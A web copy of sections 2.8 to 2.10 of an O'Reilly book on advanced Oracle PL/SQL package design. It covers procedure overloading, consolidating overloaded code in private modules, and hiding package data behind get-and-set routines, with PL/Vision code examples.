You want to display a date? You want to display a number? You want to display a string and a number? Hold on a minute. The common element is that you want to display something -- lots of somethings, in fact. So don't create display_date, display_string, etc. procedures. Instead, offer a single display procedure, which is in fact many overloaded display procedures.

With the overloading in place, your user must only remember this: when I want to display something, I simply ask the display program to take care of it for me. What do I pass to it? Whatever I want it to display. I will not (and do not have to) worry about the how of the display mechanism. Those details are hidden from me.

Here are some of the circumstances that cause the PL/SQL fairy to whisper in my ear "Overload, overload...":

  • Apply the same action to different kinds or combinations of data.

  • Allow developers to use a program in the most natural and intuitive fashion; you use overloading to fit your program to the needs of the user.

  • Make it easy for developers to specify, unambiguously and simply, the kind of action desired.

I explore these circumstances in the following sections.

2.8.1.1 Supporting many data combinations

This is probably the most common reason to employ overloading. The p package of PL/Vision (see the following sidebar) offers an excellent example of this kind of overloading opportunity. This package contains eight overloadings of the l procedure so that you can pass many different combinations of data and have the package interpret and display the information properly. The following headers show, for example, a simplified portion of the specification for the p package, which illustrates the overloading:

PROCEDURE l (date_in IN DATE, mask_in IN VARCHAR2 := PLV.datemask);
PROCEDURE l (char_in IN VARCHAR2, number_in IN NUMBER);
PROCEDURE l (boolean_in IN BOOLEAN);

Because of my extensive overloading, I can pass a complex date expression (taking me back 18 years) and see the date and time in a readable format with a minimum of effort:

SQL> exec p.l(ADD_MONTHS(SYSDATE,-316));
February 18, 1970 17:50:12

I can combine strings and numbers together easily, as shown in this exception section:

BEGIN
    p.l (1/0);
EXCEPTION
   WHEN ZERO_DIVIDE
   THEN
      p.l (SQLERRM, SQLCODE);
END;
/

SQL> @above_script
ORA-01476: divisor is equal to zero: -1476

And, finally, I can pass a Boolean expression directly to the p.l procedure and have it display meaningful information:

SQL> exec p.l ('a' IN ('d', 'e', 'f'));
FALSE

Just to give you a sense of the benefit of overloading in this case, if I did not have access to the p package and instead relied on DBMS_OUTPUT.PUT_LINE to generate my output, I would have to write the following code to handle the last call to p.l:

IF bool_value IN ('d', 'e', 'f')
THEN
   DBMS_OUTPUT.PUT_LINE ('TRUE');
ELSE
   DBMS_OUTPUT.PUT_LINE ('FALSE');
END IF;

Why do I need to do this? The DBMS_OUTPUT package does overload its PUT_LINE procedure, but only for single string, date, and number values. It does not handle Booleans at all. It also does not allow me to pass combinations of data. And it does not show the time component of a date variable. What a hassle! For all these reasons, my extra layer of overloaded code in the p package liberates me from having to write extra code. I just tell p.l what I want to see and it figures out how to display that information.

Why Name a Package "p"?

I talk about coming up with names for your package that are clear, accurate, and easy to remember. Then I showcase the p.l procedure in my best practice on overloading. Surely I am not going to argue that p is a good name for a package -- and what about l as the name of a procedure? What justification could I possibly have for the names I chose for these elements?

My p.l procedure is a substitute for and rebellion against the DBMS_OUTPUT.PUT_LINE procedure. I hated the 20 characters I had to type to generate output from my PL/SQL programs (in uppercase no less, since that is my convention). I was frustrated by the limited overloading of the package itself. So when I set out to build my own layer of code around DBMS_OUTPUT, I was determined to use the fewest characters possible. The result is p.l.

I found it difficult to justify this obscure name, but John Beresniewicz, my able and deep-thinking reviewer, contributed this observation: "It's possible that the need for clearly descriptive (i.e., lengthy) names is directly proportional to the amount of work performed by the procedure and inversely proportional to the frequency of use. That is, procedures that implement a high level of functionality need clearly descriptive names and they will presumably be called less frequently (and these long names won't clog up the source code). Conversely, low-level routines called frequently need shorter names (to avoid clog) but nobody forgets their names (even if cryptic) since they are used all the time." I couldn't have stated it better myself!

The same technique is also readily visible in the PLVtab package. This PL/SQL table-oriented package offers nine overloadings of the display procedure, one for each kind of PL/SQL table predefined in the package. As far as a user of PLVtab.display is concerned, there is just one program to display a PL/SQL table. The only difference between each of the versions of PLVtab.display is the first argument, the table type, as shown in the following header for the display procedure:

PROCEDURE display
 (table_in IN number_table|boolean_table|date_table,
  end_row_in IN INTEGER,
  header_in IN VARCHAR2 := NULL,
  start_row_in IN INTEGER := 1,
  failure_threshold_in IN INTEGER := 0,
  increment_in IN INTEGER := +1);

When you see that vertical bar in documentation for program headers, by the way, that means you are dealing with an overloaded program. The more variations of data you provide in your overloadings, the more useful you make your package. There is, of course, a price to pay for your overloadings. While the user thinks there is just one program to call, you know that in reality there is a different program for each overloading.

A key challenge, therefore, that comes with successful overloading is to figure out how to implement all those programs without creating a total mess in your package body. This challenge is addressed in the section called "Modularizing for Maintainable Packages" later in this chapter.

2.8.1.2 Fitting the program to the user

Does the idea of fitting a program to your user sound odd or unnecessary? If so, change your attitude. We write our software to be used, to help others get their jobs done more easily or more efficiently. You should always be on the lookout for ways to improve your code so that it responds as closely as possible to the needs of your users. Overloading offers one way to achieve a very close fit.

You may sometimes end up with several overloadings of the same program because developers will be using the program in different ways. In this case, the overloading does not provide a single name for different activities, so much as providing different ways of requesting the same activity. Consider the overloading for the PLVlog.p ut_line (shown in simplified form below):

PROCEDURE put_line
   (context_in IN VARCHAR2,
    code_in IN INTEGER,
    string_in IN VARCHAR2 := NULL,
    create_by_in IN VARCHAR2 := USER);

PROCEDURE put_line (string_in IN VARCHAR2);

The first header is the low-level version of put_line. It allows you to specify a full set of arguments to the program, including the context, the code, a string and the Oracle account providing the information. The second header asks only for the string, the text to be logged. What happened to all the other arguments? I suppressed them, because I found that in many situations a user of PLVlog simply doesn't care about all of those arguments. He simply wants to pass it a string to be saved. So rather than make him enter dummy values for all the unnecessary data, I provide a simpler interface, which in turn calls the low-level put_line with its own dummy values:

PROCEDURE put_line (string_in IN VARCHAR2) IS
BEGIN
   put_line (NULL, 0, string_in, USER);
END;

It wasn't necessary for me to take this step and provide this overloading. I could simply require that anyone who uses PLVlog.put_line provide values for all those non-defaulted parameters. If developers really had to use PLVlog, they would follow my bidding. And if I were on some kind of power trip, I would feel properly stroked. But if a developer could choose between PLVlog and another package or utility that didn't make him feel dumb, PLVlog would simply not be used. We almost always have choices. I would rather that my software be used because it was too useful and easy to use to reject.

2.8.1.3 Unambiguous, simple arguments

A less common application of overloading offers a way for developers to specify very easily which of the overloaded programs should be executed. The best way to explain this technique is with an example. The PLVgen package allows you to generate PL/SQL source code, including procedures, functions, and packages. Let's consider how to request the generation of a function.

A function has a datatype: the type of data returned by the function. So when you generate a function, you want to be able to specify whether it is a number function, string function, date function, etc. If I ignored overloading, I might offer a package specification like this:

PACKAGE PLVgen
IS
    PROCEDURE stg_func (name_in IN VARCHAR2);
    PROCEDURE num_func (name_in IN VARCHAR2);
    PROCEDURE date_func (name_in IN VARCHAR2);
END;

to name just a few. Of course, this means that a user of PLVgen must remember all of these different program names. Is it num or nbr? Stg or strg or string? Why use the four-letter date when the others are just three letters? Wow! That is very confusing. Let's try overloading of the kind previously encountered in this chapter. I will declare a named constant for each kind of data and then, well, it would seem that I really only need one version of the func procedure:

PACKAGE PLVgen
IS
    stg CONSTANT VARCHAR2(1) := 'S';
    num CONSTANT VARCHAR2(1) := 'N';
    dat CONSTANT VARCHAR2(1) := 'D';
    PROCEDURE func (name_in IN VARCHAR2, type_in IN VARCHAR2);
END;

I could then generate a numeric function as follows:

SQL> exec PLVgen.func ('booksales', PLVgen.num);

Now, I still need to know the names of the constants, so it is pretty much the same situation as we encountered in my first func attempt. Furthermore, I would like to be able to pass a default value to be returned by the generated function, so I really would need to overload as shown in the next iteration:

PACKAGE PLVgen
IS
    stg CONSTANT VARCHAR2(1) := 'S';
    num CONSTANT VARCHAR2(1) := 'N';
    dat CONSTANT VARCHAR2(1) := 'D';
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN VARCHAR2, defval_in IN VARCHAR2);
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN VARCHAR2, defval_in IN NUMBER);
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN VARCHAR2, defval_in IN DATE);
END;

Might there not be a simpler way to handle this? Notice that the second parameter is a way for the user to specify the datatype of the function. You pass in a string constant, and PLVgen uses an IF statement to determine which constant you have provided. Why not skip the constant and simply pass in data itself of the right type? Then the PL/SQL runtime engine itself would automatically perform the conditional logic to determine which program to run, which code to execute. Consider this next version of the PLVgen package specification:

PACKAGE PLVgen
IS
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN VARCHAR2, defval_in IN VARCHAR2);
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN NUMBER, defval_in IN NUMBER);
    PROCEDURE func
      (name_in IN VARCHAR2, type_in IN DATE, defval_in IN DATE);
END;

The named constants are gone, no longer needed. I can now generate a numeric function with a default value of 15,000 as follows:

SQL> exec PLVgen.func ('booksales', 1, 15000);

It doesn't really matter what value I pass as the second argument; it doesn't matter if the argument is a literal or a variable or an expression. It just has to evaluate to a number, so that the PL/SQL runtime engine will know to execute the code associated with the second header in the specification. What could be simpler? You want a numeric function? Pass a number -- any number -- as the type argument. You want a date function? Pass a date -- be it SYSDATE or some locally declared variable.

I am sure that many readers are looking at that last specification and wondering why I just didn't use the defval_in argument to determine the datatype of the function and skip the type_in argument entirely. Take a look at the final PLVgen package specification. I provide a default value of NULL for all the defval_in arguments. I reasoned that you shouldn't have to provide a default value for the function. So I do need that separate, second argument (always required since it has no default value) to guarantee that you will unambiguously specify one of the function generators.

PLVgen uses this technique both for the func procedures and the gas (get-and-set) procedures. Oracle Corporation also uses this overloading approach in the DBMS_SQL built-in package (check out the DEFINE_COLUMN procedure). In fact, it was the DEFINE_COLUMN overloading that gave me the idea for the overloading you find in the PLVgen package. It took me a while to think through what PL/SQL was doing with DEFINE_COLUMN; I found the simplicity simultaneously clever, devilishly simple, and extremely elegant. It is a technique we should all put into use whenever appropriate.

2.8.2 Developing an Appreciation of Overloading

You should now have a solid feeling for the technique of overloading. To build excellent packages, however, you will need to move beyond simply overloading occasionally to overloading at every possible opportunity and in every possible way. You need to develop a sensitivity to when you should overload and how you can overload most effectively.

The benefits and the beauty of overloading can be appreciated fully only by using overloaded programs -- and then in most cases, you won't even notice, because overloading hides the underlying complexity so you can concentrate on more important issues. You will, I hope, get a sense of the value of overloading from using -- and perhaps even extending -- PL/Vision. Do take some time to pursue the various spb files (the package bodies) and examine the many different examples of overloading you will find there.

When I've successfully overloaded an interesting set of programs and succeeded in hiding much of the underlying complexity of my package, I get an all-the-pieces-falling-into-place feeling and a this-is-as-it-should-be feeling and a sense of how-elegant! If you think I sound a bit strange, please withhold judgment until you do some really fancy and extensive overloading and then tell me how you feel.

The more you overload your packaged procedures and functions, the more functionality you offer to your users. Where overloading is appropriate, it is also impossible to overdo your overloading. If you see another interesting and useful combination, if you see a way to simplify the way a user passes information to your package, then overload for it! It will always be the right thing to do; your biggest challenge will be in figuring out how to implement all these overloadings in a modular and maintainable fashion. This issue is addressed in the next section.

Previous: 2.7 Building Windows Into Your Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.9 Modularizing for Maintainable Packages
2.7 Building Windows Into Your Packages | Book Index | 2.9 Modularizing for Maintainable Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.9 Modularizing for Maintainable Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.9 Modularizing for Maintainable Packages

To build packages that are both immediately useful and enhanceable over the long-run, you must avoid any kind of code duplication inside the package. You need to be ready, willing, and able to create private programs in your package to contain all the shared code behind the public programs of the package. The alternative is a debilitating reliance on the Windows cut-and-paste feature. Cut-and-paste will let you build rapidly -- but what you will be building is a wide, deep hole from which you will never see the light of day.

I set a simple rule for myself when building packages: never repeat a line of code. Instead, construct a private module and call that module twice (or more, depending on the circumstances). By consolidating any reused logic rigorously, you have less code to debug and maintain. You will often end up with multiple layers of code right inside a single package. These layers will make it easier to enhance the package and also to build in additional functionality, such as the windows and toggles discussed earlier in this chapter.

The PLVdyn package offers an example of in-package layering. As explained in the section on "Building Windows into Packages," the open_and_parse function consolidates the open and parse phases of dynamic SQL. This function is then called by many other higher-level operators in PLVdyn. These operators are in turn called by still other programs. The result is at least five layers of code as shown in Figure 2.2.

NOTE: While it is uncommon, it is certainly possible for two programs to have the same name (and therefore be overloaded) but have little or nothing in common in their implementation. In this situation, you will probably not be able to consolidate the code in the package body for these two programs into a single, private program. There is nothing wrong with this situation (except that it might raise question of why you are using the same name for both programs).

The need for modularization inside a package is most clear when it comes to implementing overloaded programs. The next section will explore implementation strategies for overloading.

Figure 2.2: Layers of reusable code in PLVdyn

2.9.1 Implementing Overloading with Private Programs

Overloading and modularization must be considered two sides of the same coin if you are going to implement your package properly. The previous section encouraged you to overload frequently and thoroughly. When you overload, you offer multiple versions of the same program. By doing so, you simplify the interface for the user, which is critical. At some point, however, you have to deal with the package body. If you've overloaded a particular procedure ten times, are you going to end up with ten completely separate procedure bodies and a large volume of redundant code that is very difficult to maintain?

Let's first understand the problem you can encounter inside packages when you overload. Consider that simplest (at first glance) of packages: the p package. You might be tempted to think that all it really does is provide a layer of code over the DBMS_OUTPUT.PUT_LINE built-in so that you can pass it more and different types of data. If that were the case, I could implement the p.l procedure as shown by the two of seven implementations below:

PROCEDURE l (char_in IN VARCHAR2, number_in IN NUMBER) IS
BEGIN
   DBMS_OUTPUT.PUT_LINE (char_in || ': ' || TO_CHAR (number_in));
END;

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
      (char_in || ': ' || TO_CHAR (date_in, mask_in));
END;

I have achieved the objective of overloading by taking on the job of combining the different pieces of data before passing it to the built-in package. No need for a private program shared by all the l procedures, is there? Well, that depends on just how useful you want that package to be.

Let's pretend that it is July 1994. I am writing Oracle PL/SQL Programming and just beginning to get a handle on packages. The p package (at that time called the do package) is one of my first and I throw it together, just as you see it above: a "raw" call to DBMS_OUTPUT. Then I start to use it to debug the PLVlst package (as it first appeared in that book) and at some point pass it a string with 463 characters. Suddenly, my program is generating a VALUE_ERROR exception. After a hour of debugging, I realize that the problem is not occurring in PLVlst, but in my p package. The DBMS_OUTPUT.PUT_LINE program cannot handle values with more than 255 bytes. I mutter venomously about the brain-dead implementations proffered at times by Oracle Corporation and quickly move to fix the problem, as you can see below:

PROCEDURE l (char_in IN VARCHAR2, number_in IN NUMBER) IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
      (SUBSTR (char_in || ': ' || TO_CHAR (number_in), 1, 255));
END;

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
     (SUBSTR (char_in || ': ' || TO_CHAR (date_in, mask_in), 1, 255));
END;

Remember, I do this for all eight versions of the l procedure, not just the two you see. Well, that certainly takes care of that problem! So I continue my debugging and soon discover that when I ask DBMS_OUTPUT.PUT_LINE to display a NULL value or any string that LTRIMs to NULL, it just ignores me. I do not see a blank line; it just pretends that I never made the call. This is very confusing and irritating, but again the fix is clear: use the NVL operator. So now each of the l procedures looks like this:

PROCEDURE l (char_in IN VARCHAR2, number_in IN NUMBER) IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
      (NVL (SUBSTR (char_in || ': ' || TO_CHAR (number_in), 1, 255),
       'NULL'));
END;

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
     (NVL (SUBSTR (char_in || ': ' || TO_CHAR (date_in, mask_in),
       1, 255), 'NULL'));
END;

On and on I go, discovering new wrinkles in the implementation of DBMS_OUTPUT.PUT_LINE and scrambling to compensate in each of my eight procedures (see Chapter 6, PLV: Top-Level Constants and Functions , for more details on these wrinkles). Eventually each of my l procedures grows very convoluted, very similar to all the others, and very tedious to maintain. This is clearly not the way to go.

Now compare that process with the final state of the p package. Each of the l procedures consists of exactly one line of code, as you can see below:

PROCEDURE l
   (char_in IN VARCHAR2, number_in IN NUMBER,
    show_in IN BOOLEAN := FALSE)
IS
BEGIN
   display_line (show_in, char_in || ': ' || TO_CHAR (number_in));
END;

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask,
    show_in IN BOOLEAN := FALSE)
IS
BEGIN
   display_line
      (show_in, char_in || ': ' || TO_CHAR (date_in, mask_in));
END;

Only two actions are performed inside the l procedure:

  1. Create the string to be displayed (usually occurring right inside the call to display_line), and

  2. Call the private module, display_line, to handle all the other issues.

The display_line procedure, in turn, looks like this:

PROCEDURE display_line (show_in IN VARCHAR2, line_in IN VARCHAR2)
IS
   v_maxline INTEGER := 80;
BEGIN
   IF v_show OR show_in
   THEN
      IF RTRIM (line_in) IS NULL
      THEN
         put_line (v_prefix || PLV.nullval);

      ELSIF LTRIM (RTRIM (line_in)) = v_linesep
      THEN
         put_line (v_prefix);

      ELSIF LENGTH (line_in) > v_maxline
      THEN
         PLVprs.display_wrap (line_in, v_maxline-5, NULL);

      ELSE
         put_line
            (v_prefix ||
             SUBSTR (line_in, 1, c_max_dopl_line-v_prefix_len));
      END IF;
   END IF;
END;

Wow! It got really complicated, didn't it? In the final version of p.l, in fact, you can turn off the display of information using the built-in toggle. You can display long lines in paragraph-wrapped format. You can identify a character as a line separator so that white space can be preserved inside stored code and displayed as true blank lines in SQL*Plus.

I didn't come up with all of these features in a single flash of inspiration. I built them in over a period of months. Once I had transferred all common logic into the display_line procedure, however, it was a cinch to provide significant new functionality: I only had to make the changes in one location in my package. No user of the p package ever calls the display_line procedure; it is hidden. It exists only to consolidate all the common logic for displaying information.

I use this same approach throughout PL/Vision. Again and again, you will see the many overloadings of the package specification reduced to a single program inside the package body. I like to think of this of the overload-modularize diamond for packages, which is shown in Figure 2.3. The upper point of the diamond is the user view: a single action (i.e., overloaded name) known and called by the user. The facets of the diamond broaden out to the different, overloaded programs in the specification. The lower point of the diamond represents the narrowing of the different programs to a single private program in the package body.

Figure 2.3: The overload-modularize diamond for packages

Sometimes creating this diamond shape in your packaged code is straightforward. The p package illustrates this simple case. The only difference between each of the overloaded programs is the way the string is constructed for display. In other packages, it takes lots more thought and creative programming to come up with a way to conform to my "only in one place" rule. The PLVtab package is such a package; in fact, the complexity of modularizing the internals of PLVtab resulted in what I call the lava lamp effect.

2.9.2 Lava Lamp Code Consolidation

The objective of PLVtab is to make it easier for developers to use PL/SQL tables, particularly when it comes to displaying the contents of these tables. PLVtab predefines a set of table TYPE structures, such as tables of numbers, strings of various lengths, Booleans, and dates. It then offers a separate display procedure for each of the table TYPEs. Since each table TYPE is a different datatype, a separate, overloaded program is needed for each TYPE. The headers for two of these follow:

PROCEDURE display
 (table_in IN number_table,
  end_row_in IN INTEGER,
  header_in IN VARCHAR2 := NULL,
  start_row_in IN INTEGER := 1,
  failure_threshold_in IN INTEGER := 0,
  increment_in IN INTEGER := +1);

PROCEDURE display
 (table_in IN vc30_table,
  end_row_in IN INTEGER,
  header_in IN VARCHAR2 := NULL,
  start_row_in IN INTEGER := 1,
  failure_threshold_in IN INTEGER := 0,
  increment_in IN INTEGER := +1);

As you can see from all of the parameters in the display procedures, PLVtab offers lots of flexibility in what you display and how you display it. This kind of flexibility always means a more complex implementation behind the scene in the package body. In fact, I use 184 lines of code spread across two private procedures to handle all the logic. Yet the body of each display procedure consists of just three lines as illustrated by the number_table display procedure below:

PROCEDURE display
   (table_in IN number_table,
   end_row_in IN INTEGER,
   header_in IN VARCHAR2 := NULL,
   start_row_in IN INTEGER := 1,
   failure_threshold_in IN INTEGER := 0,
   increment_in IN INTEGER := +1)
IS
BEGIN
   internal_number := table_in;
   internal_display
      (c_number, end_row_in, header_in, start_row_in,
       failure_threshold_in, increment_in);
   internal_number := empty_number;
END;

The first line copies the incoming table to a private PL/SQL table of the same type; the second line calls the consolidated, internal version of the display program; and the third line empties the private PL/SQL table to minimize memory utilization. These same three lines appear in each of the nine display procedures, the only difference being the type of the private PL/SQL table and the first argument in the call to internal_display. This value tells internal_display which table is to be displayed. This approach allows me to create the lower point of my diamond: a single program called by each display program.

The difference in this case -- what I call the lava lamp effect -- is that deep within the internal_display procedure, I broaden out my code again (creating a base for my lava lamp; see Figure 2.4) with a large IF statement.

Figure 2.4: The lava lamp effect for consolidating overloaded code

The main algorithm of internal_display is this WHILE loop:

WHILE in_range (current_row) AND within_threshold
LOOP
   display_row
      (type_in, failure_threshold_in, increment_in,
      count_misses, current_row, within_threshold);
END LOOP;

which translates roughly as "display each row within the specified range." The display_row is another private procedure that converts the type_in argument (the type of table being displayed) and the current_row into the row value to be displayed. To do this, it uses a big IF statement, a portion of which is shown here:

...
ELSIF type_in = c_date
THEN
   rowval := TO_CHAR (internal_date (current_row), PLV.datemask);

ELSIF type_in = c_integer
THEN
   rowval := TO_CHAR (internal_integer (current_row));

ELSIF type_in = c_number
THEN
   rowval := TO_CHAR (internal_number (current_row));

ELSIF type_in = c_vc30
THEN
   rowval := internal_vc30 (current_row);
...

The overloading and modularization in PLVtab (and PLVgen as well) reminds me of playing an accordion: First, I squeeze in to present a single program for the user. Then I pull out to define the many overloadings in the specification. Squeeze back in to implement all those overloadings with a single private module. Pull back out inside that private module to handle all the different types of data. It may seem like a convoluted road to travel, but the end result is code that is very easily maintained, enhanced, and expanded.

As an exercise for the reader, I suggest that you perform this exercise: make a copy of PLVtab.sps and PLVtab.spb and see if you can figure out the steps required to add support for another type of PL/SQL table.

Previous: 2.8 Overloading for Smart Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.10 Hiding Package Data
2.8 Overloading for Smart Packages | Book Index | 2.10 Hiding Package Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.10 Hiding Package Data

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

2.10 Hiding Package Data

You implement PL/SQL-based global data with package data. Package data is any data structure declared in a package body or specification. There are two kinds of package data: public data (declared in the specification) and private data (declared in the body).

What's the difference between public and private? Public global data is the proverbial "loose cannon" of programming. Public package data is certainly very convenient. Simply declare a few variables in a package specification and they are available from/to any module. If you need to get a piece of information, just grab it from the global. If you want to change the value of that variable, go at it. Reliance on global data structures, however, leads to two significant problems:

  • Loss of control. When you declare a data structure in the package specification, you lose control over that data structure's value. Since any program can write to it, you can never trust its value. Instead, you must trust developers to do the right thing when working with that variable. Now, I am as trusting as the next programmer, but anarchy really has little place in the world of software development.

  • Loss of flexibility. When you allow programmers to make direct references to global data, you lose the flexibility you need to enhance your application to take advantage of new features. Very specifically, you limit your ability to change the data structures used to implement your global data.

You don't have to create these troublesome globals to gain many of the advantages of PL/SQL global data structures. You can regain control of your package data and also ease your maintenance and enhancement frustrations by building a programmatic interface around your data. This interface is also referred to as get-and-set programs or "access routines," since they usually get and set the values of data and control access to those data structures.

2.10.1 Gaining Control of Your Data

I recommend, in fact, that you never define variables in the specification of a package (except when explicitly needed that way, as discussed at the end of this section). Instead, you always declare the variable in the package body. You then provide a procedure to set the value of that variable and a function to retrieve the value of that variable.

Let's look at a very simple example to drive home the point and then move on to more interesting applications of this practice. Suppose I have a profit-and-loss package that maintains a "last statement date" in a package variable. With the variable defined in the specification, my package looks like this:

PACKAGE P_and_L
IS
   last_stmt_dt DATE;
END P_and_L;

Suppose further that I have a business rule that applies to the last statement date: it can never be in the future. Since the variable is defined in the package specification, any user with execute authority on this package can directly reference and modify the variable as shown in these code fragments:

P_and_L.last_stmt_dt := SYSDATE + 12;
v_newdate := P_and_L.last_stmt_dt;

In the first line, my code violates the business rule -- and there is nothing I can do to stop this violation.

Let's now move the last_stmt_dt inside the package body. When I do this, I must write some code to provide a programmatic interface to that date variable. The resulting package specification and body shown in Example 2.2 provide get-and-set routines to get the current value of the last statement date and also set the value of that variable.

Example 2.2: The P_and_L Package with Private Data

PACKAGE P_and_L
IS
   FUNCTION last_date RETURN DATE;

   PROCEDURE set_last_date (date_in IN DATE);
END P_and_L;

PACKAGE BODY P_and_L
IS
   last_stmt_dt DATE;

   FUNCTION last_date RETURN DATE IS
   BEGIN
      RETURN last_stmt_dt;
   END;

   PROCEDURE set_last_date (date_in IN DATE) IS
   BEGIN
      last_stmt_dt := LEAST (date_in, SYSDATE);
   END;
END P_and_L;

Sure, this is a lot more code than was necessary to simply "publish" the last statement date variable in the package specification. The benefits of this code are, however, significant and will now be explored. First of all, notice that the set_last_date procedure applies or enforces the business rule whenever anyone tries to change the value of the last_stmt_dt variable. Let's examine the impact of this enforcement. With my packaged interface, the two lines of code I showed you earlier would be changed to:

P_and_L.set_last_date (SYSDATE + 12);
v_newdate := P_and_L.last_date;

Now instead of setting the last statement date to twelve days in the future, set_last_date intervenes and sets the date to the system date. (Of course, in the real world, you would probably not enforce a business rule by simply overriding a user action. For purposes of demonstration, however, it gets the point across.)

By moving last_stmt_dt to the inside of the package, I have exerted control over my package data. I can now guarantee the integrity of this data to any user of the package; you know what you are getting when you call the last_date function. In the first version of the P_and_L package, there was no way to know how the value was set.

This control and integrity is the most important benefit accrued from hiding your data in the body of the package. Many other wonderful advantages are possible, however, once you have taken this step. These are covered in the following sections.

2.10.2 Tracing Variable Reads and Writes

Have you ever lost control of your application? I once worked on an Oracle Forms application in which there was no doubt that the complexity of the code (and workarounds in the code) had caused it take on a life of its own. This application relied heavily on Oracle Forms GLOBAL variables -- to the tune of 400 or so of these useful, but dangerous constructs. And, sad to say, we could not, in a number of circumstances, figure out why and how a particular global was being set to NULL or to some other value that made no sense for the action at hand.

There had been no forethought in the use of the global variables. Everyone was scrambling to meet deadlines with a very early version of Oracle Forms (4.0.6 for those of you who know to shudder at such things) and just threw direct references to the globals willy-nilly throughout the code. There was no way, consequently, to trace where and when a global value was changed. If, on the other hand, the original developers of the application had built a package around the use of Oracle Forms globals, such a trace would have been very possible, and much agony would have been averted.

I demonstrate below the tracing technique for the P_and_L package. You can then apply this technique to Oracle Forms global variables and any other variable data structure.

Let's go back to the P_and_L package shown in Example 2.2 and the last statement date. The variable is declared in the package body. A function is provided to return the current value of last_stmt_dt. A procedure, set_last_date, allows me to change the variable's value. I build an application making many references to these programs and then I start testing that application. I soon run into trouble. The last statement date is being set improperly, but it is very difficult for me to figure out how and why its value is being changed.

What I would really like to do is obtain a trace of every contact with that variable. If I had not hidden the last statement date variable inside a package, my situation would be hopeless. I would have no way to know when my programs were touching the last statement date.

With my last_date function and set_last_date procedure in place, on the other hand, I can with just a few lines of code get all the information I need. In the upgraded version of the P_and_L package below, I use the PLVtrc package (see code in bold) to add an execution trace to the last statement date's get-and-set:

PACKAGE BODY P_and_L
IS
   last_stmt_dt DATE;

   FUNCTION last_date RETURN DATE IS
   BEGIN
      PLVtrc.show ('Retrieve last_date', last_stmt_dt);
      RETURN last_stmt_dt;
   END;

   PROCEDURE set_last_date (date_in IN DATE) IS
   BEGIN
      PLVtrc.show ('Set last_date', date_in);
      last_stmt_dt := LEAST (date_in/, SYSDATE);
   END;
END P_and_L;

The PLVtrc.show procedure intercepts attempts to read or write the last_stmt_dt variable. This trace is, however, not active, until the following command is used to turn on the trace for the current session:

PLVtrc.turn_on;

When she turns trace on, a developer can view (or write to the PL/Vision log) a record of every effort to read or write the variable. And if the PL/SQL programs that call the P_and_L package make use of the PLVtrc startup and terminate programs, this record will automatically include the names of the programs or context when the last_stmt_dt variable was referenced (see Chapter 20, PLVcmt and PLVrb: Commit and Rollback Processing ). Just a little bit of added code produced a significant enhancement in functionality!

Furthermore, all of my tracing changes occurred to the package body; the specification was left intact. As a result, none of the programs that call the P_and_L elements need to be changed or even recompiled. No one even has to know that the package has been upgraded with the new feature; it will be invisible until turned on -- and then only for the current Oracle session, not for all users.

Once I built the get-and-set around my date variable, adding an execution trace facility was very simple. Just get that layer of code in place and many seemingly and formerly impossible tasks become easy!

2.10.3 Simplifying Package Interfaces

Another reason for moving data into the package body is to simplify the interfaces to the package elements. When data are declared in the package body, they are global within the package. All programs defined in the package (specification and body) can reference these variables directly. You can use this fact to your advantage by not passing in these values in the parameter lists of the package elements.

Consider the PLVobj package, which provides a programmatic interface to the ALL_OBJECTS data dictionary view. PLVobj works with a current object, which is made up of three elements:

  • The owner or the schema of the object

  • The name of the object

  • The type of the object

The PLVobj package and other packages such as PLVio, perform many different operations on this current object, including the following: bind the object for dynamic SQL execution, open a cursor into the ALL_OBJECTS view for this object, read the source code for that object, and so on.

Suppose that I did not store this current object in the package. Then every time I wanted to perform one of the above actions, I would have to provide the values for each of these elements of the current object in the parameter list. Let's look at some examples.

Instead of calling PLVobj.open_objects without any arguments like this:

PROCEDURE open_objects;

I would need to modify the header as follows:

PROCEDURE open_objects
   (name_in IN VARCHAR2, type_in IN VARCHAR2, schema_in IN VARCHAR2);

And deep within the PLVio package, I could no longer simply call the bindobj program relying on the context or current object previously set, as I do here:

PLVobj.bindobj (cur);

Instead, I would have to maintain variables inside PLVio with the current object values and then pass them into bindobj as follows:

PLVobj.bindobj (cur, currobj_name, currobj_type, currobj_schema);

Would you use a package designed that way? I don't think I would. All those arguments, passed in over and over again. Each time thinking: why can't the package just keep track of that for me?

Well, it can and PLVobj does just that. The current object of PLVobj is defined by three private package variables:

v_currschema

The owner of the object

v_currname

The name of the object

v_currtype

The type of the object(s)

Since the above elements are private variables, a user of PLVobj will never see or reference these variables directly. Instead, I provide a program to set the current object. Its header is:

PROCEDURE setcurr (name_in IN VARCHAR2);

